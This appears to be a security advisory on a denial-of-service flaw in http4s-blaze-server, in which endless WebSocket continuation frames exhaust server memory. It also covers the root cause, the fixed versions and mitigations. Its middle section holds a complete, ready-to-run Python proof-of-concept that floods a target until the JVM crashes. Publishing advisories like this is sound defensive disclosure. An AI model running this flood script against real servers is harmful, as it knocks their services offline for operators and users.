high · 7.5Jul 24, 2026

http4s-blaze-server Unbounded WebSocket Message Aggregation DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A remote WebSocket client can send an endless stream of fragmented frames to a blaze-server instance, forcing it to accumulate fragments in heap memory with no size limit until the JVM crashes with…

Packageorg.http4s:http4s-blaze-server_2.13
Ecosystemmaven
Affected< 0.23.18
Fixed in0.23.18
http4s-blaze-server Unbounded WebSocket Message Aggregation DoS

The problem

The WebSocket frame reassembly path in http4s-blaze-server appends every incoming CONTINUATION frame to an in-memory buffer with no cap on total size or fragment count.

A single TCP connection that completes the WebSocket handshake is enough. The attacker sends a TEXT frame with FIN=0 to open a fragmented message, then floods the server with CONTINUATION frames (FIN=0) indefinitely. The server buffers every fragment on the blaze selector thread until heap is exhausted, terminating the JVM with OutOfMemoryError.

No authentication is required on open WebSocket endpoints, and the existing maxWebSocketBufferSize option does NOT help because it bounds only individual frames, not the running aggregate.

Proof of concept

A working proof-of-concept for this issue in org.http4s:http4s-blaze-server_2.13, with the exact payload below.

python
# Step 1: complete the WebSocket handshake (HTTP/1.1 upgrade)
# Step 2: send a TEXT frame with FIN=0  (starts a fragmented message)
# Step 3: loop forever sending CONTINUATION frames with FIN=0
#
# RFC 6455 wire layout (client-to-server, masked):
#   byte 0:  FIN|RSV|opcode
#   byte 1:  MASK bit + payload length
#   bytes 2-5: masking key
#   bytes 6+: masked payload
#
# Opening fragment: opcode=0x1 (Text), FIN=0 => byte0=0x01
# Continuation:     opcode=0x0 (Cont), FIN=0 => byte0=0x00
# FIN=1 is NEVER sent, so the server never delivers the message
# and keeps appending to its internal buffer forever.

import socket, struct, os, time

HOST = "target"
PORT = 8080
PATH = "/ws"          # any WebSocket route
FRAME_PAYLOAD = b"A" * 1024   # 1 KB per frame; small enough to be cheap

def mask(data: bytes) -> tuple:
    key = os.urandom(4)
    masked = bytes(b ^ key[i % 4] for i, b in enumerate(data))
    return key, masked

def ws_frame(opcode: int, fin: bool, payload: bytes) -> bytes:
    byte0 = (0x80 if fin else 0x00) | (opcode & 0x0F)
    key, masked_payload = mask(payload)
    length = len(masked_payload)
    if length <= 125:
        byte1 = 0x80 | length          # MASK bit set
        header = struct.pack("BB", byte0, byte1)
    elif length <= 65535:
        byte1 = 0x80 | 126
        header = struct.pack(">BBH", byte0, byte1, length)
    else:
        byte1 = 0x80 | 127
        header = struct.pack(">BBQ", byte0, byte1, length)
    return header + key + masked_payload

def send_upgrade(sock, host, path):
    key = "dGhlIHNhbXBsZSBub25jZQ=="  # static for PoC
    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Upgrade: websocket\r\n"
        "Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: {key}\r\n"
        "Sec-WebSocket-Version: 13\r\n"
        "\r\n"
    )
    sock.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += sock.recv(4096)
    assert b"101" in resp, "Handshake failed"

sock = socket.create_connection((HOST, PORT))
send_upgrade(sock, HOST, PATH)

# Opening fragment: Text frame, FIN=0
sock.sendall(ws_frame(0x1, fin=False, payload=FRAME_PAYLOAD))

# Endless continuation frames, FIN=0 -- heap grows without bound
print("[*] Flooding continuation frames. Server heap grows until OOM...")
while True:
    sock.sendall(ws_frame(0x0, fin=False, payload=FRAME_PAYLOAD))
    # no sleep -- send as fast as the socket allows

The root cause is a missing aggregate-size check in the CONTINUATION frame handler inside blaze's WebSocket decoder (CWE-770: Allocation of Resources Without Limits or Throttling). Before the patch, each CONTINUATION frame caused the server to append its payload to a growing buffer with no upper bound on total bytes or fragment count.

The fix in commits 173e8ca, 2ae13a7, and fadbe6d introduced a configurable maximum aggregate message size check that fires before appending each fragment, causing the server to close the connection with a 1009 (Message Too Big) close frame instead of buffering indefinitely.

The advisory explicitly confirms that maxWebSocketBufferSize is NOT a mitigation because it applies per-frame, not to the running aggregate.

The fix

Upgrade http4s-blaze-server to 0.23.18 (series/0.23) or 1.0.0-M42 (series/1.x). Both releases add an aggregate message-size limit to the WebSocket fragment accumulator. If you cannot upgrade immediately, terminate or proxy WebSocket traffic at a front-end layer (e.g. nginx with proxy_read_timeout and connection limits) that enforces message-size and fragment-count limits, or disable WebSocket routes entirely.

Note: blaze is EOL upstream; long-term migration to the maintained ember backend is recommended.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research